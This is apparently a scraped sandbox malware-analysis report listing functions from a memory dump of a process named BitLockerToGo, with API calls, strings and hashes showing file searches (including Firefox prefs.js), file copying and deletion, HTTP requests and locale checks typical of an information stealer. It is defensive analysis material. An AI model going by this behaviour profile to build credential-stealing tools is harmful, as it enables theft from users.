Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 8e1f0e4a0314b8cff90e6dfa3c258665092ab1f3b4e5cf8100a8d25db518b506
Instruction ID: 657df334bd174775f9ad171b9f4c05631d89a9f84563bd6ffb58fdb5d475ad92
Opcode Fuzzy Hash: 8e1f0e4a0314b8cff90e6dfa3c258665092ab1f3b4e5cf8100a8d25db518b506
Instruction Fuzzy Hash: 596166B1940218ABDF20EFA4DC59FFA777CFB49701F004588A60E96140EB71AB95CF91

Function 02769010 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0276906C

Strings

image/jpeg, xrefs: 02769136

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: e08048f22793b423eaec95b8797aa1cbfec4a270d9f4b7d609d2ef570cec5e82
Instruction ID: 0a9fec1874d7228d170ed56801d7b9506e5d43ab08935ec1896e54a6da1ca3ba
Opcode Fuzzy Hash: e08048f22793b423eaec95b8797aa1cbfec4a270d9f4b7d609d2ef570cec5e82
Instruction Fuzzy Hash: D871EBB1D50208EBDB04DFE8D999FEEB7B9FB48710F108508F615A7280DB75A905CB60

Function 02756280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 027547EA
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754801
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754818
Part of subcall function 027547B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02754839
Part of subcall function 027547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 02754849

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

InternetOpenA.WININET(02770DFE,00000001,00000000,00000000,00000000), ref: 027562E1
StrCmpCA.SHLWAPI(?,029E4B88), ref: 02756303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02756335
HttpOpenRequestA.WININET(00000000,GET,?,029E5F38,00000000,00000000,00400100,00000000), ref: 02756385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 027563BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 027563D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 027563FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0275646D
InternetCloseHandle.WININET(00000000), ref: 027564EF
InternetCloseHandle.WININET(00000000), ref: 027564F9
InternetCloseHandle.WININET(00000000), ref: 02756503

Strings

ERROR, xrefs: 027564C9
GET, xrefs: 0275637C
ERROR, xrefs: 02756407

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: ce980877a5aaa7a756a9472485edad148c1c5c2f72724899e8e7491dfa0ac77f
Instruction ID: df7634e88ce13e8abaa1cfa62f3a9c4f92be1bfaa3663476d0d5a4f0af95bc5b
Opcode Fuzzy Hash: ce980877a5aaa7a756a9472485edad148c1c5c2f72724899e8e7491dfa0ac77f
Instruction Fuzzy Hash: EA719171A40218EBEB14DF94CC59BEEB7B9FB44700F508198E90A7B184DBB56A85CF90

Function 02763EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02763EC3
FindFirstFileA.KERNEL32(?,?), ref: 02763EDA
StrCmpCA.SHLWAPI(?,02770FAC), ref: 02763F08
StrCmpCA.SHLWAPI(?,02770FB0), ref: 02763F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0276406C
FindClose.KERNEL32(000000FF), ref: 02764081

Strings

%s\%s, xrefs: 02763EB7

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 64582d4451d59166db6a3e65827589b3cb15f2f67f853215071fb70c199591ed
Instruction ID: 5a9e26450f5811546cc67f49fb8d7cef283fb2ef98dbf6cc27e6c8fd49ff346f
Opcode Fuzzy Hash: 64582d4451d59166db6a3e65827589b3cb15f2f67f853215071fb70c199591ed
Instruction Fuzzy Hash: 445185B2904218ABCB25EBB4DC8DFFA737DFB44300F444588B61992040DB759B89CFA0

Function 0275F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,027715B8,02770D96), ref: 0275F71E
StrCmpCA.SHLWAPI(?,027715BC), ref: 0275F76F
StrCmpCA.SHLWAPI(?,027715C0), ref: 0275F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0275FAB1
FindClose.KERNEL32(000000FF), ref: 0275FAC3

Strings

prefs.js, xrefs: 0275F812

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 03024f51dd63292a7d3100ed38aafa959d4972d2d5c75f128f429f46eb6b8ca0
Instruction ID: 8c8489b662c52df2d52eafb8170ca7f93132661f61b2a945df3e5897be9fb404
Opcode Fuzzy Hash: 03024f51dd63292a7d3100ed38aafa959d4972d2d5c75f128f429f46eb6b8ca0
Instruction Fuzzy Hash: 2DB15D719002199BDB26EF60DC9DBFEB37AAF55300F4085A8DD0AA6540EF306B49CF91

Function 027516D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0277511C,?,02751F2C,?,027751C4,?,?,00000000,?,00000000), ref: 02751923
StrCmpCA.SHLWAPI(?,0277526C), ref: 02751973
StrCmpCA.SHLWAPI(?,02775314), ref: 02751989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 02751D40
DeleteFileA.KERNEL32(00000000), ref: 02751DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 02751E20
FindClose.KERNEL32(000000FF), ref: 02751E32

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Strings

\*.*, xrefs: 027517F1

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: a3c45ee922f81f332694cd96a7fa847a773cf737cbf1fd59fdfec21aa1fe8ba5
Instruction ID: 1a475c1e192c1e88b8c47924c336a8c202b1f5824ed797be281d51647cbaf50a
Opcode Fuzzy Hash: a3c45ee922f81f332694cd96a7fa847a773cf737cbf1fd59fdfec21aa1fe8ba5
Instruction Fuzzy Hash: E812AE719102199BDB1BFB60DC9DAFE737AAF54300F5045A9990A76090EF706F89CFA0

Function 0275DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,027714B0,02770C2A), ref: 0275DAEB
StrCmpCA.SHLWAPI(?,027714B4), ref: 0275DB33
StrCmpCA.SHLWAPI(?,027714B8), ref: 0275DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0275DDCC
FindClose.KERNEL32(000000FF), ref: 0275DDDE

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a22756e38f8447440ae6e18d1abdd913419fd3014d7a040a8bb54b6cf7fe5213
Instruction ID: 379e888e3abfc8d4d55e041736d016d0995b0944775f6a94576bbe9a2a547398
Opcode Fuzzy Hash: a22756e38f8447440ae6e18d1abdd913419fd3014d7a040a8bb54b6cf7fe5213
Instruction Fuzzy Hash: 359131729002159BDB16FFB4EC5DAFD737EAB84300F408668AD0AA6140EE749B59CFD1

Function 02767B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

GetKeyboardLayoutList.USER32(00000000,00000000,027705AF), ref: 02767BE1
LocalAlloc.KERNEL32(00000040,?), ref: 02767BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 02767C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 02767C62
LocalFree.KERNEL32(00000000), ref: 02767D22

Strings

/ , xrefs: 02767C7F

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 95856565e9eeda9bdca93afa41b3fc4c4bc1ce91bc7bd2e133c28a1d705cadfd
Instruction ID: 8397dba0595415a07148811cc266c00a8474a1c005ee73d43cc3315f71f8f65a
Opcode Fuzzy Hash: 95856565e9eeda9bdca93afa41b3fc4c4bc1ce91bc7bd2e133c28a1d705cadfd
Instruction Fuzzy Hash: CD412A71941218ABDB25DB94DC9DBFEB7B9FB44704F204199E90A72180DB742F85CFA0

Function 0275E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,02770D73), ref: 0275E4A2
StrCmpCA.SHLWAPI(?,027714F8), ref: 0275E4F2
StrCmpCA.SHLWAPI(?,027714FC), ref: 0275E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0275EBDF

Strings

\*.*, xrefs: 0275E44D

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 4c62ccb4bddac64c8d2366ea1d01754e41f2a0f20154d80a2649b5b2c8744059
Instruction ID: 8710dc0a6f7de58ef55010e58a6abfcff679513709f8f85dba7024e9d84e4812
Opcode Fuzzy Hash: 4c62ccb4bddac64c8d2366ea1d01754e41f2a0f20154d80a2649b5b2c8744059
